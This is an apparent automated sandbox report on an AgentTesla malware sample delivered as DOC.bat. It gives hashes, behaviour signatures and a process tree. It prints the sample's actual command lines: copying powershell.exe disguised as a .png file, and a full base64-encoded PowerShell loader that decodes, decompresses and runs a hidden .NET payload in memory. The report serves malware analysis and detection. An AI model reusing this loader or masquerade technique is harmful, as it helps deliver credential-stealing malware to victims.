Analysis

  • max time kernel
    143s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-10-2023 10:27

General

  • Target

    DOC.bat

  • Size

    1013KB

  • MD5

    63ea9acdff3fe07560351cca90577d8e

  • SHA1

    cd34d68bedb135454ac0a69a9a18432eaa0ea68a

  • SHA256

    805359e8add29af8ed6534df363b834315943a8d8af92579a660aa2645531086

  • SHA512

    b7c96d4c88ee74f54d5936e4bfbf4f796bed17bde73cfd5e500f93b87e7259d1ba2529bebc117a45fd2fb6952a91b9efc4fd5039626bb22e98c3819f8f417644

  • SSDEEP

    24576:Ha02wgz0sNZjcZ/zVRU3u0uTd2lKOXMe8GBySoC4FkQ:HwzdZ0zE8GVe

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DOC.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1636
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:3556
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qexknh.png
        2⤵
          PID:3812
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\DOC.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2536
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F "
            3⤵
              PID:1216
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qexknh.png
              3⤵
                PID:1204
              • C:\Windows\system32\xcopy.exe
                xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\DOC.bat C:\Users\Admin\AppData\Local\Temp\Qexknh.png.bat
                3⤵
                  PID:3336
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo F "
                  3⤵
                    PID:3540
                  • C:\Users\Admin\AppData\Local\Temp\Qexknh.png
                    C:\Users\Admin\AppData\Local\Temp\Qexknh.png -win 1 -enc JABWAG4AdABpAGEAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAVABlAHoAYwBlAGQAegAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABWAG4AdABpAGEAKQA7ACQAVQBrAGYAZQB3AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAFQAZQB6AGMAZQBkAHoAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATQBmAHAAYwBsAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVQBrAGYAZQB3AGUALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAE0AZgBwAGMAbABnAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABNAGYAcABjAGwAZwAuAEMAbABvAHMAZQAoACkAOwAkAFUAawBmAGUAdwBlAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAVABlAHoAYwBlAGQAegAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABUAGUAegBjAGUAZAB6ACkAOwAgACQAVAB5AHIAbABpAG0AZQByAG4AZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABUAGUAegBjAGUAZAB6ACkAOwAgACQAVgBrAHUAagB3AGMAeQBxAHQAYgBkACAAPQAgACQAVAB5AHIAbABpAG0AZQByAG4AZQAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAEsAYQBiAGMAcQB6ACAAPQAgACQAVgBrAHUAagB3AGMAeQBxAHQAYgBkAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3212
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 3172
                      4⤵
                      • Program crash
                      PID:4356
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3212 -ip 3212
                1⤵
                  PID:1352

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\Qexknh.png

                  Filesize

                  423KB

                  MD5

                  c32ca4acfcc635ec1ea6ed8a34df5fac

                  SHA1

                  f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                  SHA256

                  73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                  SHA512

                  6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

                • C:\Users\Admin\AppData\Local\Temp\Qexknh.png.bat

                  Filesize

                  1013KB

                  MD5

                  63ea9acdff3fe07560351cca90577d8e

                  SHA1

                  cd34d68bedb135454ac0a69a9a18432eaa0ea68a

                  SHA256

                  805359e8add29af8ed6534df363b834315943a8d8af92579a660aa2645531086

                  SHA512

                  b7c96d4c88ee74f54d5936e4bfbf4f796bed17bde73cfd5e500f93b87e7259d1ba2529bebc117a45fd2fb6952a91b9efc4fd5039626bb22e98c3819f8f417644

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v102czh3.ba3.psm1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • memory/3212-29-0x0000000005250000-0x0000000005260000-memory.dmp

                  Filesize

                  64KB

                • memory/3212-31-0x0000000006D00000-0x0000000006D1A000-memory.dmp

                  Filesize

                  104KB

                • memory/3212-12-0x0000000005890000-0x0000000005EB8000-memory.dmp

                  Filesize

                  6.2MB

                • memory/3212-13-0x0000000005770000-0x0000000005792000-memory.dmp

                  Filesize

                  136KB

                • memory/3212-14-0x0000000005EC0000-0x0000000005F26000-memory.dmp

                  Filesize

                  408KB

                • memory/3212-15-0x0000000006020000-0x0000000006086000-memory.dmp

                  Filesize

                  408KB

                • memory/3212-10-0x0000000005250000-0x0000000005260000-memory.dmp

                  Filesize

                  64KB

                • memory/3212-25-0x00000000062D0000-0x0000000006624000-memory.dmp

                  Filesize

                  3.3MB

                • memory/3212-26-0x00000000067B0000-0x00000000067CE000-memory.dmp

                  Filesize

                  120KB

                • memory/3212-27-0x00000000067E0000-0x000000000682C000-memory.dmp

                  Filesize

                  304KB

                • memory/3212-9-0x00000000744B0000-0x0000000074C60000-memory.dmp

                  Filesize

                  7.7MB

                • memory/3212-8-0x00000000051B0000-0x00000000051E6000-memory.dmp

                  Filesize

                  216KB

                • memory/3212-30-0x0000000008000000-0x000000000867A000-memory.dmp

                  Filesize

                  6.5MB

                • memory/3212-11-0x0000000005250000-0x0000000005260000-memory.dmp

                  Filesize

                  64KB

                • memory/3212-32-0x0000000007980000-0x0000000007A4A000-memory.dmp

                  Filesize

                  808KB

                • memory/3212-33-0x0000000007A50000-0x0000000007ACA000-memory.dmp

                  Filesize

                  488KB

                • memory/3212-34-0x0000000007BD0000-0x0000000007C36000-memory.dmp

                  Filesize

                  408KB

                • memory/3212-36-0x0000000007C50000-0x0000000007C95000-memory.dmp

                  Filesize

                  276KB

                • memory/3212-37-0x0000000007D60000-0x0000000007DA2000-memory.dmp

                  Filesize

                  264KB

                • memory/3212-38-0x0000000005250000-0x0000000005260000-memory.dmp

                  Filesize

                  64KB

                • memory/3212-39-0x0000000005250000-0x0000000005260000-memory.dmp

                  Filesize

                  64KB

                • memory/3212-40-0x00000000744B0000-0x0000000074C60000-memory.dmp

                  Filesize

                  7.7MB

                • memory/3212-41-0x0000000008C30000-0x00000000091D4000-memory.dmp

                  Filesize

                  5.6MB

                • memory/3212-42-0x0000000005250000-0x0000000005260000-memory.dmp

                  Filesize

                  64KB

                • memory/3212-43-0x0000000005250000-0x0000000005260000-memory.dmp

                  Filesize

                  64KB

                • memory/3212-44-0x00000000744B0000-0x0000000074C60000-memory.dmp

                  Filesize

                  7.7MB